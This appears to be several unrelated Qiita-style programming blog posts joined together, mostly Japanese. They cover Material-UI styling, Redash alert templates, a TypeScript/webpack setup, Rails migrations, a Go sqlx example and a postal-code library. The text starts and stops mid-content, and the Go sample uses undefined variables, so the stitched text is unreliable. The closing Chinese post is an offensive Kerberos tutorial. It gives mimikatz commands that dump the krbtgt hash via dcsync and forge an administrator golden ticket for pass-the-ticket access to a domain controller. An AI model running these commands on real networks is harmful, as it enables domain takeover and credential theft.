npm i -s @date-io/dayjs@1.x dayjs
````

<br>
自分はdate-fnsをインストールして無事material-uiを使用することに成功！パチパチ
Material-UIのCardContentのpadding-bottomを消す

##CardContentには初めからpadding-bottomが24px付いている
Material-UIのCardContentを使用したところ、元から適用されているらしきpadding-bottomがありました。

検証ツールでよく見ると

```css
.MuiCardContent-root:last-child{
  padding-bottom: 24px;
  }
```
との記述が。
自分で書いてなくてもこのようなstyleが当たっているため、自分でstyleを当てても上手くいきません。
書いても消えない…賽の河原かな？

##これを消すために
このCardContentを使用しているところにこのように記述します。
※styled-components

```react
const HogeCard = styled(CardContent)`
  &:last-child {
  padding-bottom: 0;
 } 
`
```

これで、無事にpadding-bottomを消すことができました。

ちなみに、padding-bottomだけでなく、paddingも16pxついているので、消したい場合は``padding: 0;``
を入れてください。
``last-child``でpadding-bottomが付いていたため、ふつうにpadding: 0;をつけても消えなかった感じです。

参考：Material UI [CardContent.js](https://github.com/mui-org/material-ui/blob/master/packages/material-ui/src/CardContent/CardContent.js)
Redash v9のアラートカスタマイズ機能

## Redashのアラートカスタマイズ機能
v8時点では実験的な機能という位置付けでデフォルトOFFだったアラートカスタマイズ機能が、v9ではUI・機能が大きく改善されると共にデフォルトONになりました。
[Redash v8のアラートカスタマイズ機能の紹介](https://qiita.com/k-tomoyasu/items/a5686ca8e5c479feabc4)

## メッセージのカスタマイズ
デフォルトではかなりシンプルなアラートメッセージをカスタマイズできます。
デフォルトでは閾値を超えたことのみを伝えていましたが、カスタマイズ機能を使うとクエリの実行結果からメッセージを組み立てることができます。

|Default Template | Use Custom Template |
| --- | --- |
| ![スクリーンショット 2020-11-12 12.22.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329122/9b0b9993-c07f-5afc-e27a-77abf36985ec.png)| ![https___qiita-image-store.s3.ap-northeast-1.amazonaws.com_0_329122_64eb9459-824e-3fd1-550c-e383ce6ce527.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329122/45391dd2-cd7f-62b7-ac8b-1036ab4c804d.png)
 |
`Description` に表示されているのがカスタマイズされた部分です。  
画像はSlackを例にしたものですが、emailやPagerDutyなどRedashで設定可能な他の通知先にも対応しています([Alert Destination](https://redash.io/help/user-guide/alerts/creating-new-alert-destination))

### 設定画面
アラート設定画面の下部にある `Template` の項目で `Use custom template` を選択するとカスタマイズ用のフォームが出ます。
 `Subject` ・ `Body` いずれもテンプレートエンジンの  [mustache](https://mustache.github.io/) を利用したテンプレートを記述できます。 

![スクリーンショット 2020-11-12 13.07.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329122/de3f7bb6-b4ec-ceb4-67f7-36c719cf7ade.png)


### テンプレートの記述例
実行結果に `target` 列、売り上げ前日比の `rate` 列を含むクエリにアラートを設定します。
`Body`に次のようにテンプレートを設定します。

```
ターゲット : 売上前日比
{{#QUERY_RESULT_ROWS}}
{{target}} : {{rate}}%
{{/QUERY_RESULT_ROWS}}
```

設定画面で `Preview` モードにするとこんな感じ表示されます。期待通りに表示されています。  
![スクリーンショット 2020-11-12 11.48.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329122/f62518e4-ede8-51ff-55de-00d5319c7180.png)

`Subject` や `Body` の表示のされ方は `Alert Destination` によって異なるので、あくまでテンプレートの記述の確認用に `Preview` モードを利用するのが良いでしょう。

### テンプレートで利用可能な変数
[公式ドキュメント](https://redash.io/help/user-guide/alerts/custom-alert-notifications)にテンプレートで利用可能な変数の一覧が記載されています。
アラート設定のUIにリンクがあって便利
![スクリーンショット 2020-11-12 10.27.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/329122/2add3206-f057-0e41-4a12-2e7f0ae13131.png)

  
個人的にはこの辺りが特に使いそうです。

|変数名|type|説明| 
|---|---|---|
|ALERT_NAME | string | アラート名
|QUERY_URL | string | クエリURL
|QUERY_RESULT_VALUE | string or number | トリガーに設定したカラムの先頭行の値
|QUERY_RESULT_ROWS | value array | クエリ結果の行
|QUERY_RESULT_COLS | string array | クエリ結果の列


## 終わりに
ちょっとした監視やレポーティングならRedashで完結させることができそうです。
UIの改善も進んでおり、[v8時点](https://qiita.com/k-tomoyasu/items/a5686ca8e5c479feabc4)からかなり使いやすくなっていると感じました!
Visual Studio CodeでTypeScriptのHTML開発環境作り

#はじめに
Visual Studio CodeでTypeScriptのHTML開発がしたい。
目指すはWebStormの"Compile on Change"程度に自動的にコンパイルしてくれて、かつtsconfig.jsonの"outFile"のようにファイルを1つにまとめること。
まるでFlash開発のように。

tsconfig.jsonで"outFile"を使うとなると、module:"amd"となります。
しかし、module:"amd"だと、vscodeがうまくimportできませんでした。
importをvscode側と合わせるために、とりあえずmoduleは"es2015"
そして、ファイルを一つにまとめるのはwebpackに任せることにします。

#環境
OS Windows 10

VS Code
機能拡張
Live Server
Debugger for Chrome


#設定方法
VSCodeで新しいフォルダを開きます。
メニューのターミナル/新しいターミナルでpackage.jsonを作ります。

```
npm init
```

続いて各種インストール

```
npm i -D webpack webpack-cli typescript ts-loader source-map-support
```


package.jsonを以下を追加、編集

```package.json
｛
...
"scripts": {
    "build": "webpack",
    "watch": "webpack -w"
  },
...
}
```

tsconfig.jsonを追加。
（VScod1.51.0はエラーがあるというが気にしない。）

```tsconfig.json
{
    "compilerOptions": {
      "sourceMap": true,
      "target": "es5",
      "module": "es2015"
    },
    "exclude": [
        "node_modules"
    ]
}
```

webpack.config.jsを追加

```webpack.config.js
module.exports = {
    //mode: 'production',
    mode: 'development',
    entry: './src/Main.ts',
    output: {
        path: `${__dirname}/script`,
        filename: "ts.js"
      },
    module: {
      rules: [
        {
          test: /\.ts$/,
          use: 'ts-loader',
        },
      ],
    },
    resolve: {
      extensions: [
        '.ts', '.js',
      ],
    },
    devtool : "source-map",
    watch : true
  };
```

TypeScriptファイル、src/Main.tsを作る。
起動確認のためにconsole.log("TypeScript Start");と入力。

index.htmlを作り、JavaScriptの読み込みの追加。

```
<script src="script/ts.js"></script>
```

ターミナル以下を入力して、ts.jsを生成。

```
npm run build
```

メニューの「実行/デバック」を選択して「Chrome」を選択して、.vscode/launch.jsonができる。
lanch.jsonのurlのポートを5500にする。

```launch.json
{
    "version": "0.2.0",
    "configurations": [
        {
            "type": "chrome",
            "request": "launch",
            "name": "Launch Chrome against localhost",
            "url": "http://localhost:5500",
            "webRoot": "${workspaceFolder}",
            "preLaunchTask": "StartServer",
            "postDebugTask": "StopServer"
        }
    ]
}
```

LiveServerのサーバー起動。
VScode上のindex.htmlから「Open Width Live Server」を選び
それか、右下のGo Liveをクリック。
（ここままだと、VSCode上のコンソールには表示がない。

そして、 ターミナル以下を入力して、ウォッチモードを起動。

```
npm run watch
```

再度、「実行/デバック」すると、コンソールに表示の確認。
うまく行ってれば、ザクザク開発できる。


#課題
もうちょっとスマートに行かないものかしら。
あとStartup Taskのように、起動時に「npm run watch」を入力せずに開発したいなぁ。


#参考

git
https://github.com/kawamurashin/vsc_ts_webpack_source-map_template


最新版TypeScript+webpack 5の環境構築まとめ
https://ics.media/entry/16329/
Lightbox2を用いてrefileの画像を拡大する方法

ポートフォリオを作成する上でLightbox2を用いてrefileの画像を拡大する方法にかなり手こずったので備忘録として残します。
どなたかの参考にもなれば幸いです。

#前提
refileは導入済みとします。

#Lightbox2の導入

```html
<link href="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.7.1/css/lightbox.css" rel="stylesheet">
<script src="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.7.1/js/lightbox.min.js" type="text/javascript"></script>
```

この2行を追加するだけでLightbox2を導入できます。
Lightbox2はjQueryで書かれているので、`jQuery`の読み込みをLightbox2より先に行います。

#実際のコード
実際のコードの一例は下記のようになっています。

```ruby
<%= link_to Refile.attachment_url(work_out, :after_image), 'data-lightbox':"work_outs", 'data-title':"全ユーザーのアフター画像が表示されます" do %>
```

`Refile.attachment_url(work_out, :after_image)`で画像（after_image）のURLを取得できることを知らなかったために結構苦戦しました...

#サンプルデモ
作成したポートフォリオ上での動きは下記の通りになってます！完成！！
![ezgif.com-gif-maker.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/870700/a7628035-b74e-bf3c-4043-392f73db73f1.gif)
Tone.jsで1ステップで使用できるチューナーを作った

楽器を練習するときに使う電子機器がある。
・チューナー
・メトロノーム
WebAPIを使って簡単にスマホから使えるものを作れないか考えた。

・ブラウザから音を出す方法
ブラウザから音を出す場合、セキュリティの都合上、ユーザにクリックさせる必要がある。
今どきは、WebAPIを使うと簡単に実装できる。中でもJavascriptのライブラリであるTone.jsを使うと、より簡単に実装できる。
・メトロノームとチューナー、どっちが簡単に実装できて使えるか
メトロノームはテンポ、リズムを指定するが、チューナーはピッチさえ合わせればいい。
・アクションが少ない方法
できるだけシンプルにしたい。
通常、チューナーを使うまでに3ステップある
・電源入れる→ピッチ合わせる→鳴らす→止める（4ステップ）
これを1ステップで使うには何もかも捨ててこうすればいい
・鳴らす（1ステップ）
というわけで、442Hzにあらかじめセットしておき、10秒で減衰して鳴りやむチューナーを作った。
MRTK v2+TextMeshProでBody-Lockedな文字列を作る

自分でやったことを忘れないための備忘録
Unity 2019.3.15f1
MRTK v2.4.0
詳しくは[microsoft公式チュートリアル](https://docs.microsoft.com/ja-jp/windows/mixed-reality/develop/unity/tutorials/mr-learning-base-01) に書いてある構成を見てください。。。
MRTKv2を使って、自分の頭に追従してくれる文字列を作る方法。こんな感じになる。
![GIF 2020-11-12 12-29-09.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/873422/69993839-bfa1-89d8-8e22-b06fc128a5ed.gif)
やり方

1. Hierarchyを右クリック>3D Object>Text-TextMeshProを選択
2. Textフィールドに文字列を入力し、フォントサイズや効果をいい感じに調整
3. Rect Transform>Width,Heightから文字列の領域を設定。できれば文字列ギリギリになるように設定すると見た目がいい![スクリーンショット 2020-11-12 124633.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/873422/53c6a76a-189c-9581-7c9d-cfe8764c1e1a.png)
4. Add ComponentからOrbital(Script)を追加。一緒にSolverHandlerも追加されるInspector>Orbital>Local Offsetでmain cameraから見た文字列の保持位置を設定できる。Xは3.で設定したWidthの半分にするとよい。y,zはPlayモードを見ながら調整する。![スクリーンショット 2020-11-12 125306.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/873422/7331a196-67fd-5c21-a352-fc5a52790bcb.png)
5. Add ComponentからBillBoard(Script)を追加。Pivot AxisをFreeにセットし、Target Transformに文字列自身を設定する。

やり方は以上。Playモードで感触を見つつ微調整をいれるとよい。使用しているツールのバージョンによってはうまく動かないかもしれない。
参考にしたサイトを以下に載せるので、うまく動かなければ参照して試行錯誤してほしい。

- https://hatsune.hatenablog.jp/entry/2017/08/09/191626
- https://www.slideshare.net/TakahiroMiyaura/mixed-reality-toolkit-v1v2-tagalong
【Go】sqlxのNamedStmtでIN句の条件数を動的に指定する

sqlxでIN句を含むクエリをNamedStmtで扱う方法のサンプルコードです。
EXISTS句にも応用可能です。

## サンプルコード

```go:main.go
func main() {
	userIds := []int{1, 2, 3, 4, 5}
	age := 20
	select(ids, createdAt)
}
```

```go:select.go
var db *sqlx.DB

func select(userIds []int, age int) ([]User, error) {

	// SQLの雛形
	originQuery := `SELECT * FROM USER WHERE USER_ID IN (:USER_ID) AND AGE > :AGE`

	// バインドする値
	arg := map[string]interface{}{
		"USER_ID":  userIds,
		"AGE": age,
	}

	// NamedStmtでIN句を使える形式にする
	query, params := formatQuery(&originQuery, &arg)

	// Select文を実行
	namedStmt, err := db.PrepareNamedContext(context.Background(), *query)
	if err != nil {
		return nil, err
	}
	defer namedStmt.Close()

	var users []User
	if err := namedStmt.SelectContext(context.Background(), &sqlxSamples, *params); err != nil {
		return nil, err
	}

	return users, nil
}
```

```go:format.go
func formatQuery(q *string, a *map[string]interface{}) (*string, *map[string]interface{}) {

	query, args, _ := sqlx.Named(*q, *a)
	fmt.Println(query) // SELECT * FROM USER WHERE USER_ID IN (?) AND AGE > ?
	fmt.Println(args)  // [[1 2 3 4 5] 20]

	query, args, _ = sqlx.In(query, args...)
	fmt.Println(query) // SELECT * FROM USER WHERE USER_ID IN (?, ?, ?, ?, ?) AND AGE > ?
	fmt.Println(args)  // [1 2 3 4 5 20]

	query = sqlx.Rebind(sqlx.NAMED, query)
	params := map[string]interface{}{}
	for i, arg := range args {
		key := fmt.Sprintf("arg%d", i+1)
		params[key] = arg
	}
	fmt.Println(query)  // SELECT * FROM USER WHERE USER_ID IN (:arg1, :arg2, :arg3, :arg4, :arg5) AND AGE > :arg6
	fmt.Println(params) // map[arg1:1 arg2:2 arg3:3 arg4:4 arg5:5 arg6:20]

	return &query, &params
}
```
Q.エレベーター(Ruby編)

#エレベーターの階数計算の問題(Ruby編)
#問題
エレベーターが何階分の距離を動いたか計算するプログラムを完成させてください。
ただし、エレベーターは最初は必ず 1 階にいるものとします。
#例
1階から3階へ → 2階分移動したことになるので合計2階分
3階から1階へ → 2階分移動したことになるので合計4階分
1階から4階へ → 3階分移動したことになるので合計7階分
#入力される値
入力は以下のフォーマットで与えられます。

N
f_1
...
f_N
・1 行目にログの行数を示す整数 N が入力が与えられます。
・続く N 行にエレベーターが止まった階 f_i (1 ≦ i ≦ N) が整数で順に入力されます。
・入力は合計で N+1 行であり、最終行の末尾に改行が 1 つ入ります。
#期待する出力
エレベーターが何階分を動いたかを整数で出力してください。
#入力例1
3
3
1
4
#出力例1
7
#私の答え(有志のサイトをみて参考にしました)
```java:
n = gets.to_i
i = 1
s = 0
n.times {
    a = gets.to_i
    s += (a - i).abs
    i = a
}
puts s
```
#これで出力結果に間違いはないのですが、{}の中身がいまいち理解できていませんので記事にしました。n.timesで任意の入力値分繰り返される訳ですが6行目の<font color="Red">s += (a - i).abs</font>がなぜこうなるのかは分かりませんでした。仮に任意の数を全て当てはめてみると、「0 += (3 - 1).abs」となりました。全く意味不明です。また、7行目の<font color="Red">i = a</font>というのは当てはめると 1 = 3 みたいになるのですがなぜこうなるのだろう。今回のように任意の入力値がいくつあるかわからない場合のgets.to_iを繰り返す処理をかなり調べてみたが該当サイトはなかなか少なく、初学者の私にとっては難しいコードでした。一つ一つのメソッドは分かるが、プログラミング脳になっていないせいか、今回の6.7行目のようなコードが自分の知識だけではまだまだ書けないという事が分かりました。でも分からないからそこに楽しさがあるという事も。
#以上！
Perlのワンライナーで湯婆婆を実装してみる

## はじめに
「[Javaで湯婆婆を実装してみる](https://qiita.com/Nemesis/items/c7192a7c510788d2cba2)」のフォロワーネタです。
コーディングの息抜きとして書いてみました。

[Perl版](https://qiita.com/fujitanozomu/items/d403f50ef285e606343b)は既出なので、ワンライナーにしました。
（特にワンライナーっぽいテクニックとか無いですが…）

## コード
```shell
perl -MEncode -le 'print "契約書だよ。そこに名前を書きな。";chomp(my $n=<STDIN>);die unless length($n);print "フン。$nというのかい。贅沢な名だねぇ。";my @l=split //,decode("utf8",$n);$n=encode("utf8",$l[int(rand(@l))]);print "今からお前の名前は$nだ。いいかい、$nだよ。分かったら返事をするんだ、$n!!"'
```
PerlはLinuxには大体入っているので、お手元のターミナルにコピペすれば動くと思います。
一点だけ、ターミナルの文字コードがutf8であることが前提です。

## コードの解説
```perl
use Encode; # -MEncode相当

print "契約書だよ。そこに名前を書きな。";
chomp(my $n=<STDIN>);

# 名前を受け取れなかったら死にます。
die unless length($n);
print "フン。$nというのかい。贅沢な名だねぇ。";

# Perlの内部コードに変換した後で、文字ごとに分割します。
my @l=split //,decode("utf8",$n);

# 分割した文字列配列からランダムに一文字返却します。
$n=encode("utf8",$l[int(rand(@l))]);
print "今からお前の名前は$nだ。いいかい、$nだよ。分かったら返事をするんだ、$n!!"
```

## 実行結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/186361/e7d68b21-9cec-6d3b-5d12-c817a8a3daf9.png)

## 最後に
オンラインでサンプルを動かせると良かったんですが、「対話型のPerlが動く公開shell環境」が見つけられませんでした…。
Blenderの3DデータからOBJ経由で独自形式の点群ファイルにする話

3次元映像の研究をしていて，再生サンプルに点群データを使うことが多いのですが，フリー，かつアニメーションで入手できる点群データはなかなか無いので，手軽な変換方法のメモです．シンプルな点群情報だけのバイナリファイルに変換します．

#使うもの
* [Cloud Compare](https://www.danielgm.net/cc/)
* Blender
* Python

#手順
+ [TurboSquid](https://www.turbosquid.com/)等の3Dデータ投稿サイトから，適当なデータ形式の3Dモデルデータを入手します．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/641672/b9e02df9-41c2-fb08-b52d-6d94347236bc.png)

形式（Blenderなど），Price, Animated等を選択して絞り込み

+ 以降，Blender形式のアニメーション情報付きデータを想定します．3Dアニメーションの各フレームがCloudCompareで読み込める形式で出力できる環境があれば，入力形式は何でも良いと思います．1フレームだけなら直接CloudCompareに読み込めば良いです．
+ ダウンロードしたデータをBlenderに読み込み，全フレームをOBJ（wavefront）形式でエクスポートします．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/641672/b8a56dfa-5e5d-e492-f8ff-4186f927c2a9.png)

ファイル > エクスポート > Wavefront(.obj)を選択

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/641672/aeb2b0c4-829a-5f71-028e-42e1a07faa6c.png)

アニメーションにチェックを入れて「OBJをエクスポート」を選択．全フレームがOBJとMTLファイルとして出力されます．

+ CloudCompareでOBJを点群情報に変換します．CloudCompareは通常起動するとGUIになりますが，CLIモードも備えています．同じ実行ファイルで対応しています．パスを通しておくと便利だと思います．
+ 先ほど出力したOBJファイルがあるフォルダでコマンドプロンプトを開きます．以下のコマンドを実行すると，OBJがCSV形式の点群情報ファイルになります．ここで，私の用途ではX,Y,Z座標だけあれば良いので，RGBと法線ベクトルの情報は，それぞれ-REMOVE_RGB -REMOVE_NORMALSオプションを指定して，取り除いています．また，オプションとして，``-SAMPLE_MESH POINTS 20000``を指定していますが，これは，出力する点群数です（が，実際の出力は20000をちょっと超えるので，よくわかりません）．より詳細なオプションは，CloudCompareの[仕様ページ](https://www.cloudcompare.org/doc/wiki/index.php?title=Command_line_mode)を参照してください．

```batchfile:OBJ2PLS.bat
CloudCompare -SILENT -O hoge.obj -NO_TIMESTAMP -C_EXPORT_FMT ASC -SEP COMMA -EXT csv -SAMPLE_MESH POINTS 20000 -REMOVE_RGB -REMOVE_NORMALS -SAVE_CLOUDS
```

+ 上のOBJ2PLS.batを実行すると，hoge.objを入力として，hoge_SAMPLED_POINTS.csvが出力されます．各列にx,y,zを含んだ点群情報が入っています．複数フレームがある場合は，バッチスクリプトを下のように変えれば良いです．Windows前提で話していますが，今回使用するソフトウェアはMac, Linuxでも動くはずなので，スクリプトは適当に読み替えてください．

```batchfile:OBJ2PLS.bat
for %%i in (*.obj) do (
	CloudCompare -SILENT -O %%i -NO_TIMESTAMP -C_EXPORT_FMT ASC -SEP COMMA -EXT csv -SAMPLE_MESH POINTS 20000 -REMOVE_RGB -REMOVE_NORMALS -SAVE_CLOUDS
)
```

+ 最後に，CSVを必要に応じてバイナリ形式の点群情報に変換します．計算機ホログラムのソフトウェアだと読み込み速度がシビアに実行速度に効いてくるので，このようにします．以下のPythonコードで変換できます．実行時の第1引数に変換したいファイルを指定して下さい．我々の研究チームでよく使う3dfという独自フォーマットで出力していますが，[(int)点群数][(float)1点目のx座標][(float)1点目のy座標][(float)1点目のz座標][(float)2点目のx座標]...が延々続くだけのファイルです．

```Python:csv23df.py
import csv
from struct import *
import sys
import os
objData = []

inFile = sys.argv[1]
outFile = os.path.splitext(os.path.basename(inFile))[0] + ".3df"

with open(inFile) as f:
    reader = csv.reader(f)
    for row in reader:
        objData.append(row)

with open(outFile, "wb") as ofs:

    data = pack('i',int(len(objData)))
    ofs.write(data)

    for d in objData:
        d_array = pack('fff',float(d[0]),float(d[1]),float(d[2]))
        ofs.write(d_array)
```

以上の手順で，適当な点群データセットを公開されているフリーの3Dデータから，難なく作成できます．
【Rails】テーブルの作成、カラムの追加、カラムの型の変更方法

# はじめに
ポートフォリオを作成していて、あとからカラムを追加したいときや、最初に設定したカラムの型を変更したいときに、どうすればよいのか分からなかったことがあったので、初学者なりに初学者がみてもわかりやすいようにまとめました。
（最初は既にあるマイグレーションファイルに直接追加や変更を加えればよいと思っていました。しかしそれは正しくないので、新たに別のマイグレーションファイルを作成して追加や変更する方法を記述していきます。）

# モデルとテーブルの作成
下記のコマンドによりモデルを作成すると、モデルと一緒にこのモデルが担当するテーブルを作成するためのマイグレーションファイルが自動で作成されます。

```
$ rails g model [モデル名] [カラム名]:[カラムの型]
```
例えば、Userモデルを作成したい場合、[モデル名]にUser、[カラム名:カラムの型]にはname:string email:stringを指定します。コマンドは以下のようになります。

```
$ rails g model User name:string email:string
```
コマンドを実行すると以下のようなマイグレーションファイルが作成されます。

```db/migrate/XXXXXXXXXXXXXX_create_users.rb
class CreateUsers < ActiveRecord::Migration[6.0]
  def change
    create_table :users do |t|
      t.string :name
      t.string :email
      
      t.timestamps
    end
  end
end
```
上記ファイルが生成されたのを確認し、次のコマンドでマイグレーションを実行します。

```
$ rails db:migrate
```
これでUsersテーブルが作成されました。

# カラムの追加
既に作成したテーブルにカラムを追加したい場合は、既存のマイグレーションファイルに直接書き込むのではなく、新たにマイグレーションを作成して追加します。

カラムを追加する為のマイグレーションファイルの作成は次のコマンドになります。

```
$ rails g migration Add[カラム名]To[テーブル名] [カラム名]:[カラム型]
```
例えば既にあるusersテーブルにintroductionカラム（text型）を追加したい場合は以下になります。

```
$ rails g migration AddIntroductionToUsers introduction:text
```
コマンドを実行すると以下のようなマイグレーションファイルが作成されます。

```db/migrate/XXXXXXXXXXXXXX_add_introduction_to_users.rb
class AddIntroductionToUsers < ActiveRecord::Migration[6.0]
  def change
    add_column :users, :introduction, :text
  end
end
```
上記ファイルが生成されたのを確認し、次のコマンドでマイグレーションを実行します。

```
$ rails db:migrate
```
これでusersテーブルにintroductionカラム（text型）が追加されました。

# カラムの型の変更
既にあるテーブルのカラムの型を変えたいときは、カラム追加と似た手順で変更することができます。

カラムの型を変更する為のマイグレーションファイルの作成は次のコマンドになります。

```
$ rails g migration change_data_[カラム名]_to_[テーブル名]
```
例えば既にあるproductionsテーブルのmaterialカラムの型を変更したい場合は以下になります。

```
$ rails g migration change_data_material_to_productions
```
コマンドを実行するとマイグレーションファイルが作成されるので、変更したいカラムの型を追記します。
例えば、productionsテーブルのmaterialカラムの型をinteger型に変更したい場合は以下のように追記します。

```db/migrate/XXXXXXXXXXXXXX_change_data_material_to_productions.rb
class ChangeDataMaterialToProductions < ActiveRecord::Migration[6.0]
<!-- ***** 以下を追加 ***** -->
  def change
    change_column :productions, :material, :integer
  end
<!-- ***** 以上を追加 ***** -->
end
```
追記が完了したら、次のコマンドでマイグレーションを実行します。

```
$ rails db:migrate
```
これでproductionsテーブルのmaterialカラムの型がinteger型に変更されました。

# 最後に
この記事は初学者がポートフォリオ作成中に学んだ事を初めてQiitaにまとめました。

内容的に間違いがあればぜひコメントいただけると嬉しいです。
日本全国の郵便番号⇔住所変換を行うPythonライブラリ『Jusho』

# 使用方法
`$ pip install jusho`
でインストール。　[github](https://github.com/nagataaaas/Jusho)

```python
from jusho import Jusho, Address, City, Prefecture

postman = Jusho()

# 郵便番号から住所検索
print(postman.by_zip_code('160-0021'))  # '1600021', '〒1600021' などなど
# [Address(id=116156, city=City(id=1972, prefecture=Prefecture(id=36, kanji='東京都', kana='トウキョウト', eng='TOKYO T...

# 都道府県一覧
print(postman.prefectures)
# [Prefecture(id=0, kanji='北海道', kana='ホッカイドウ', eng='HOKKAIDO'), Prefecture(id=3, kanji='青森県', kana='アオモリケ...

# 都道府県の検索
osaka = postman.search_prefectures('大阪', 'kanji')[0]
print(postman.cities(osaka))
# [City(id=3613, prefecture=Prefecture(id=78, kanji='大阪府', kana='オオサカフ', eng='OSAKA FU'), kanji='大阪市都島区', ka...

# 都道府県を指定して市町村検索。指定せずに、全市町村から検索することもできます
shimamoto = postman.search_cities('三島郡島本町', prefecture=osaka)[0]
print(postman.addresses(shimamoto))
# [Address(id=264932, city=City(id=3799, prefecture=Prefecture(id=78, kanji='大阪府', kana='オオサカフ', eng='OSAKA FU'), kanji='三島郡島本町', kana='ミシマグンシマモトチョウ', eng='MISHIMA ...

# 町域検索。同様に市町村指定することもできます
aoba = postman.search_addresses('青葉', city=shimamoto)[0]
# `postman.search_addresses('青葉', prefecture=osaka)`, `postman.search_addresses('青葉')` なども有効ですが
# 結果は異なります(検索するスコープが異なるため)
print(aoba.hyphen_zip)
# 618-0015


admin_division_code: str = aoba.admin_division_code  # 27301

old_zip_code: str = aoba.old_zip_code  # 618

zip_code: str = aoba.zip_code  # 6180015 郵便番号

prefecture: Prefecture = aoba.prefecture  # Prefecture(id=78, kanji='大阪府', kana='オオサカフ', eng='OSAKA FU')

city: City = aoba.city  # City(id=3799, prefecture=Prefecture(id=78, kanji='大阪府', kana='オオサカフ', eng='OSAKA FU'), kanji='三島郡島本町', kana='ミシマグンシマモトチョウ', eng='MISHIMA GUN SHIMAMOTO CHO')

print('\n'.join((
    aoba.kanji,  # 青葉
    aoba.kana,  # アオバ
    aoba.eng,  # AOBA
    '--------',
    aoba.concat_kanji,  # 大阪府　三島郡島本町　青葉
    aoba.concat_kana,  # オオサカフ　ミシマグンシマモトチョウ　アオバ
    aoba.concat_eng,  # Aoba, Mishima Gun Shimamoto Cho, Osaka Fu
    '--------',
    aoba.city.kanji,  # 三島郡島本町
    aoba.city.kana,  # ミシマグンシマモトチョウ
    aoba.city.eng,  # MISHIMA GUN SHIMAMOTO CHO
    '--------',
    aoba.city.concat_kanji,  # 大阪府　三島郡島本町
    aoba.city.concat_kana,  # オオサカフ　ミシマグンシマモトチョウ
    aoba.city.concat_eng,  # Mishima Gun Shimamoto Cho, Osaka Fu
    '--------',
    aoba.prefecture.kanji,  # 大阪府
    aoba.prefecture.kana,  # オオサカフ
    aoba.prefecture.eng,  # OSAKA FU
)))
```

# 郵便番号⇔住所変換ライブラリの『Jusho』
を紹介します(ステマ)

従来でも[posuto](https://github.com/polm/posuto)というライブラリがあり、こちらもほぼ同等の情報を提供しています。
しかし、内部でjsonデータをdictとして保持しているためメモリを多く使い、かつ郵便番号→住所の一方向の検索しかできないという欠点があり、自分が使うには少々勝手が悪かったので新たにデータベースにデータを格納するタイプのライブラリにしました。

そのおかげで住所→郵便番号の検索もできるようになり、使い勝手がよくなったと思います。

データは日本郵便が公式で公開しているものを用い、一部データ抜けがある分に関しては自分で補いました。

使用方法は`使用方法`の通りです。

以下のように動作する[demo](https://github.com/nagataaaas/Jusho/tree/main/example/example1)も用意しています。
![demo](https://github.com/nagataaaas/Jusho/blob/main/static/example1.gif?raw=true)

何かバグやリクエストなどあれば[github](https://github.com/nagataaaas/Jusho)のほうによろしくお願いします。

ぜひ便利にお使いください！
AWSの資格を取得してからオンプレ環境の運用保守をやった感想

こんにちは、初投稿です。

まずは自己紹介をしようと思います。
※正直どうでもいいので、すっ飛ばしてください。

新卒一年目で、IT企業に勤めてます。(インフラ整備)
大学は文系の大学でFランだったので、ほとんど大学ではゲーム(LOL、FPS)かぼーっとして生きていたため、勉強は一切してないです。

現在持っている資格は
・AWSクラウドプラクティショナー　　　　9/24に取得
・教員免許(社会科)
ぐらいです。

----------------------------------



本題です

さて、最近ふとした理由でAWSクラウドプラクティショナーの資格を取得しました。
理由としましては、クラウド最強！！っておもってたので、知識が少しほしかったからです。

ですが、現在就いている案件がなんとオンプレ環境の運用保守です。
いやもう、ツールの名前や製品がわからず正直泣きそうな毎日です、なんといいますか、お経聞いてるかなぁ…

ただ、ひとつ分かったことがあります。
それは…

AWS最強じゃん！！！　再認識

今仕事でやってる、運用、保守のアカウント管理だったり、ログの確認やスイッチの設定や冗長性についてもAWSマネージドサービスにお任せしちゃえば仕事楽やん！
って思いました。

※AWSマネージドサービスとは…？？
https://aws.amazon.com/jp/managed-services/

今回、オンプレの環境に就いて、まぁ良くも悪くもAWSの素晴らしさを改めて認識しました。

※この記事は、AWSのがいかにぶっ壊れ性能なのかを言いたかっただけです。

またなんかあれば投稿します。

追記
1年目で取得した方がいい資格や、NWの知識についての補い方など、アドバイス欲しいです。
ちなみに、現在はLpic1とCCNA目指してます😌
Kerberos协议之黄金票据和白银票据

# Golden Ticket
在AS_REQ & AS_REP中，用户使用自身hash加密时间戳发送给KDC，KDC验证成功后返回用krbtgt hash加密的TGT票据。如果我们有krbtgt的hash，就可以自己给自己签发任意用户的tgt票据。

制作金票需要先导出来krbtgt的hash

```
lsadump::dcsync /domain:test.local /user:krbtgt
```

然后需要sid和krbtgt的hash，这里生成Golden Ticket不仅可以使用aes256，也可用krbtgt的NTLM hash，可以用mimikatz "lsadump::lsa /patch"导出。

```
kerberos::golden /domain:test.local /sid:S-1-5-21-514356739-3204155868-1239341419 /aes256:b4e2924c2d378eda457c2dd3810fdde0a5312354c2b26bc677dfb48e46a17fe7 /user:administrator /ticket:gold.kirbi
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c37e1d99-39f8-bbbb-2772-8a2c316dff70.png)

然后我们使用这张票据就可以随意在某一台机器上ptt访问dc了。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/684534a7-8081-f24e-5abf-c32e0d0e2af7.png)


# Silver Ticket
白银票据是出现在TGS_REQ & TGS_REP过程中的。在TGS_REP中，不管Client是否有权限访问特殊服务，只要Client发送的TGT票据是正确的，那么就会返回服务hash加密的tgs票据。如果我们有了服务hash，就可以签发tgs票据。

此处使用dc的cifs服务做演示。首先需要获得如下信息：

1. /domain
2. /sid
